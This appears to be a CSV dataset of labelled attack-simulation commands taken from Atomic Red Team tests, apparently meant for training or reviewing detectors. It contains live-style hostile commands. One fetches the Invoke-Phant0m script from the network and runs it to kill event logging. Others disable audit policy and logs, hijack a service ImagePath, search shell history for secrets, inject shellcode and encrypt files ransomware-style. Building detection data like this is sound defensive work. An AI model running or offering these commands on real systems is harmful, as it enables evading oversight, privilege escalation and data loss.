6404a7185a4be3a120bbe714,"Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore $url = ""https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"" $output = ""$env:TEMP\Invoke-Phant0m.ps1"" $wc = New-Object System.Net.WebClient $wc.DownloadFile($url, $output) cd $env:TEMP Import-Module .\Invoke-Phant0m.ps1 Invoke-Phant0m","Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore $url = ""https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1"" $output = ""$env:TEMP\Invoke-Phant0m.ps1"" $wc = New-Object System.Net.WebClient $wc.DownloadFile($url, $output) cd $env:TEMP Import-Module .\Invoke-Phant0m.ps1 Invoke-Phant0m",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Kill Event Log Service Threads,T1562.002,"[""T1562.002""]",windows,0.9,False,Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25a330b385cd6d85d7789306,"Write-Host ""NEED TO Restart-Computer TO ENSURE LOGGING RETURNS"" -fore red Remove-Item ""$env:TEMP\Invoke-Phant0m.ps1"" -ErrorAction Ignore","Write-Host ""NEED TO Restart-Computer TO ENSURE LOGGING RETURNS"" -fore red Remove-Item ""$env:TEMP\Invoke-Phant0m.ps1"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Kill Event Log Service Threads,T1562.002,"[""T1562.002""]",windows,0.55,True,Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fcaabd156bfaac31324cbe7f,"auditpol /set /category:""Account Logon"" /success:disable /failure:disable auditpol /set /category:""Logon/Logoff"" /success:disable /failure:disable auditpol /set /category:""Detailed Tracking"" /success:disable","auditpol /set /category:""Account Logon"" /success:disable /failure:disable auditpol /set /category:""Logon/Logoff"" /success:disable /failure:disable auditpol /set /category:""Detailed Tracking"" /success:disable",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Impair Windows Audit Log Policy,T1562.002,"[""T1562.002""]",windows,0.9,False,"Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
573c7d0f3807a66ecf737eef,"auditpol /set /category:""Account Logon"" /success:enable /failure:enable auditpol /set /category:""Detailed Tracking"" /success:enable auditpol /set /category:""Logon/Logoff"" /success:enable /failure:enable","auditpol /set /category:""Account Logon"" /success:enable /failure:enable auditpol /set /category:""Detailed Tracking"" /success:enable auditpol /set /category:""Logon/Logoff"" /success:enable /failure:enable",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Impair Windows Audit Log Policy,T1562.002,"[""T1562.002""]",windows,0.55,True,"Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82ac8b847d5a51e128d9c5d5,auditpol /clear /y auditpol /remove /allusers,auditpol /clear /y auditpol /remove /allusers,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Clear Windows Audit Policy Config,T1562.002,"[""T1562.002""]",windows,0.9,False,Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
57637544b86866052b25c95b,"wevtutil sl ""#{log_name}"" /e:false","wevtutil sl ""#{log_name}"" /e:false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Disable Event Logging with wevtutil,T1562.002,"[""T1562.002""]",windows,0.9,False,"Wevtutil can be used to disable logs. 
NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb871a0ce95dfdd9c9fef883,"wevtutil sl ""#{log_name}"" /e:true","wevtutil sl ""#{log_name}"" /e:true",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Disable Event Logging with wevtutil,T1562.002,"[""T1562.002""]",windows,0.55,True,"Wevtutil can be used to disable logs. 
NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99164a172ede077640584149,"echo ""Sorry you have to reboot""","echo ""Sorry you have to reboot""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Makes Eventlog blind with Phant0m,T1562.002,"[""T1562.002""]",windows,0.55,True,"Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c335036941196228211d9f7,"Set-ItemProperty -Path #{ChannelPath} -Name ""ChannelAccess"" -Value ""O:SYG:SYD:(D;;0x1;;;WD)"" Restart-Service -Name EventLog -Force -ErrorAction Ignore","Set-ItemProperty -Path #{ChannelPath} -Name ""ChannelAccess"" -Value ""O:SYG:SYD:(D;;0x1;;;WD)"" Restart-Service -Name EventLog -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Modify Event Log Channel Access Permissions via Registry - PowerShell,T1562.002,"[""T1562.002""]",windows,0.9,False,"This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the ""ChannelAccess"" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35e7a86a49913c5399da14bd,"Set-ItemProperty -Path #{ChannelPath} -Name ""ChannelAccess"" -Value ""O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x3;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)"" Restart-Service -Name EventLog -Force -ErrorAction Ignore","Set-ItemProperty -Path #{ChannelPath} -Name ""ChannelAccess"" -Value ""O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x3;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)"" Restart-Service -Name EventLog -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Modify Event Log Channel Access Permissions via Registry - PowerShell,T1562.002,"[""T1562.002""]",windows,0.55,True,"This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the ""ChannelAccess"" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b5e8c1a9196acb8aabdd2f43,"New-Item -Path #{ChannelPath} -Force Set-ItemProperty -Path #{ChannelPath} -Name ""ChannelAccess"" -Value ""O:SYG:SYD:(D;;0x1;;;WD)"" Restart-Service -Name EventLog -Force -ErrorAction Ignore","New-Item -Path #{ChannelPath} -Force Set-ItemProperty -Path #{ChannelPath} -Name ""ChannelAccess"" -Value ""O:SYG:SYD:(D;;0x1;;;WD)"" Restart-Service -Name EventLog -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Modify Event Log Channel Access Permissions via Registry 2 - PowerShell,T1562.002,"[""T1562.002""]",windows,0.9,False,"This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the ""ChannelAccess"" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or ",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5af5d9e5df093d48803af325,Remove-Item -Path #{ChannelPath} -Force Restart-Service -Name EventLog -Force -ErrorAction Ignore,Remove-Item -Path #{ChannelPath} -Force Restart-Service -Name EventLog -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Modify Event Log Channel Access Permissions via Registry 2 - PowerShell,T1562.002,"[""T1562.002""]",windows,0.55,True,"This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the ""ChannelAccess"" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
657d6aa8f7ccd4a8ae5111ce,"Set-ItemProperty -Path #{CustomSDPath} -Name ""CustomSD"" -Value ""O:SYG:SYD:(D;;0x1;;;WD)""","Set-ItemProperty -Path #{CustomSDPath} -Name ""CustomSD"" -Value ""O:SYG:SYD:(D;;0x1;;;WD)""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Modify Event Log Access Permissions via Registry - PowerShell,T1562.002,"[""T1562.002""]",windows,0.9,False,"This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the ""CustomSD"" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via ut",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83c059a63653624733036742,"Remove-ItemProperty -Path #{CustomSDPath} -Name ""CustomSD""","Remove-ItemProperty -Path #{CustomSDPath} -Name ""CustomSD""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.002/T1562.002.yaml,Modify Event Log Access Permissions via Registry - PowerShell,T1562.002,"[""T1562.002""]",windows,0.55,True,"This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the ""CustomSD"" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via ut",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7058ce51fee433d22b540c71,get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL,get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.011/T1574.011.yaml,Service Registry Permissions Weakness,T1574.011,"[""T1574.011""]",windows,0.9,False,"Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.
reg add ""HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"" /f /v ImagePath /d ""C:\temp\AtomicRedteam.exe""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59be8935d6d51939f09fdab5,"reg.exe add ""HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"" /f /v ImagePath /d ""#{malicious_service_path}""","reg.exe add ""HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}"" /f /v ImagePath /d ""#{malicious_service_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.011/T1574.011.yaml,Service ImagePath Change with reg.exe,T1574.011,"[""T1574.011""]",windows,0.9,False,"Change Service registry ImagePath of a bengin service to a malicious file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c52c030a7ec6dbe0fda66319,sc.exe delete #{weak_service_name},sc.exe delete #{weak_service_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.011/T1574.011.yaml,Service ImagePath Change with reg.exe,T1574.011,"[""T1574.011""]",windows,0.55,True,"Change Service registry ImagePath of a bengin service to a malicious file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cb3e807eb09d05d21f2e0495,cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file},cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.003/T1552.003.yaml,Search Through Bash History,T1552.003,"[""T1552.003""]","linux,macos",0.9,False,"Search through bash history for specifice commands we want to capture
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a0829952500184141591bfa,cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file},cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.003/T1552.003.yaml,Search Through sh History,T1552.003,"[""T1552.003""]",linux,0.9,False,"Search through sh history for specifice commands we want to capture
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
80c71c1e89a16c513e7b4d7c,reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f,reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1125/T1125.yaml,Registry artefact when application use webcam,T1125,"[""T1125""]",windows,0.9,False,"[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
50cc306016fac9f901819a2d,reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /f,reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1125/T1125.yaml,Registry artefact when application use webcam,T1125,"[""T1125""]",windows,0.55,True,"[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f57205139c4ed03a77dc668,"$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program ""#{spawn_process_path}"" -debug","$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program ""#{spawn_process_path}"" -debug",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.004/T1055.004.yaml,EarlyBird APC Queue Injection in Go,T1055.004,"[""T1055.004""]",windows,0.9,False,"Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. 
ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.
This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
- References: 
  - https://www",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
082cb583e20fc8bd0e1ce1d6,"Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name ""#{spawn_process_name}"" -ErrorAction SilentlyContinue","Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name ""#{spawn_process_name}"" -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.004/T1055.004.yaml,EarlyBird APC Queue Injection in Go,T1055.004,"[""T1055.004""]",windows,0.55,True,"Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode. 
ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.
This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
- References: 
  - https://www",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3388f3d587af12f9699c406,$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug,$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.004/T1055.004.yaml,Remote Process Injection with Go using NtQueueApcThreadEx WinAPI,T1055.004,"[""T1055.004""]",windows,0.9,False,"Uses the undocumented NtQueueAPCThreadEx WinAPI to create a ""Special User APC"" in the current thread of the current process to execute shellcode. 
Since the shellcode is loaded and executed in the current process it is considered local shellcode execution.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page per",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6de7a377f1d01207a8cd55d,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue,Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1055.004/T1055.004.yaml,Remote Process Injection with Go using NtQueueApcThreadEx WinAPI,T1055.004,"[""T1055.004""]",windows,0.55,True,"Uses the undocumented NtQueueAPCThreadEx WinAPI to create a ""Special User APC"" in the current thread of the current process to execute shellcode. 
Since the shellcode is loaded and executed in the current process it is considered local shellcode execution.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page per",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4dfe3ee0a40b945068c17e2c,"echo ""#{pwd_for_encrypted_file}"" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}","echo ""#{pwd_for_encrypted_file}"" | $which_gpg --batch --yes --passphrase-fd 0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using gpg (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.9,False,"Uses gpg to encrypt a file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
994d92fe8e679e6fa8b4fc74,rm #{encrypted_file_path},rm #{encrypted_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using gpg (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.55,True,"Uses gpg to encrypt a file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89cf09b921e54f52cc9d896d,$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path},$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using 7z (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.9,False,"Uses 7z to encrypt a file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed4e9ed1d52e7beb8a5e4364,$which_7z e #{encrypted_file_path} rm #{encrypted_file_path},$which_7z e #{encrypted_file_path} rm #{encrypted_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using 7z (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.55,True,"Uses 7z to encrypt a file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06a6d3cf7686c8e215e81cfc,which_ccencrypt=`which ccencrypt` cp #{root_input_file_path} #{cped_file_path}; $which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path},which_ccencrypt=`which ccencrypt` cp #{root_input_file_path} #{cped_file_path}; $which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using ccrypt (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.9,False,"Attempts to encrypt data on target systems as root to simulate an interruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da067c00870a629a861eb820,rm #{cped_file_path}.cpt,rm #{cped_file_path}.cpt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using ccrypt (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.55,True,"Attempts to encrypt data on target systems as root to simulate an interruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9866427256246f2632b574f1,which_openssl=`which openssl` $which_openssl genrsa -out #{private_key_path} #{encryption_bit_size} $which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path} $which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path},which_openssl=`which openssl` $which_openssl genrsa -out #{private_key_path} #{encryption_bit_size} $which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path} $which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using openssl (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.9,False,"Uses openssl to encrypt a file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c6d96c1d9067f98022aa69b,$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path} rm #{encrypted_file_path},$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path} rm #{encrypted_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using openssl (FreeBSD/Linux),T1486,"[""T1486""]",linux,0.55,True,"Uses openssl to encrypt a file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
229a7e45dfb1ea98ef86b49a,echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt,echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,PureLocker Ransom Note,T1486,"[""T1486""]",windows,0.9,False,"building the IOC (YOUR_FILES.txt) for the PureLocker ransomware 
https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d29ec8f79f0fde45d0d5385,del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1,del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,PureLocker Ransom Note,T1486,"[""T1486""]",windows,0.55,True,"building the IOC (YOUR_FILES.txt) for the PureLocker ransomware 
https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ae9fd28a33b51736ccd88429,7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path},7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using 7z utility - macOS,T1486,"[""T1486""]",macos,0.9,False,"This test encrypts the file(s) using the 7z utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c80d1781fde3806616537816,rm #{encrypted_file_name},rm #{encrypted_file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using 7z utility - macOS,T1486,"[""T1486""]",macos,0.55,True,"This test encrypts the file(s) using the 7z utility
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
911d23809143b9c49f8191ac,openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name},openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using openssl utility - macOS,T1486,"[""T1486""]",macos,0.9,False,"This test encrypts the file(s) using the openssl utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6d532ebbd1d5b4b204efedf6,rm #{output_file_name},rm #{output_file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Encrypt files using openssl utility - macOS,T1486,"[""T1486""]",macos,0.55,True,"This test encrypts the file(s) using the openssl utility
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
db89d4779e7df64d56afcc13,"Set-Content -Path ""#{File_to_Encrypt_Location}"" -Value ""populating this file with some text"" # Create the test.txt file again in case prereqs failed cmd /c ""`""C:\Program Files (x86)\GnuPG\bin\gpg.exe`"" --passphrase 'SomeParaphraseBlah' --batch --yes -c `""#{File_to_Encrypt_Location}`""""","Set-Content -Path ""#{File_to_Encrypt_Location}"" -Value ""populating this file with some text"" # Create the test.txt file again in case prereqs failed cmd /c ""`""C:\Program Files (x86)\GnuPG\bin\gpg.exe`"" --passphrase 'SomeParaphraseBlah' --batch --yes -c `""#{File_to_Encrypt_Location}`""""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1486/T1486.yaml,Data Encrypted with GPG4Win,T1486,"[""T1486""]",windows,0.9,False,Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
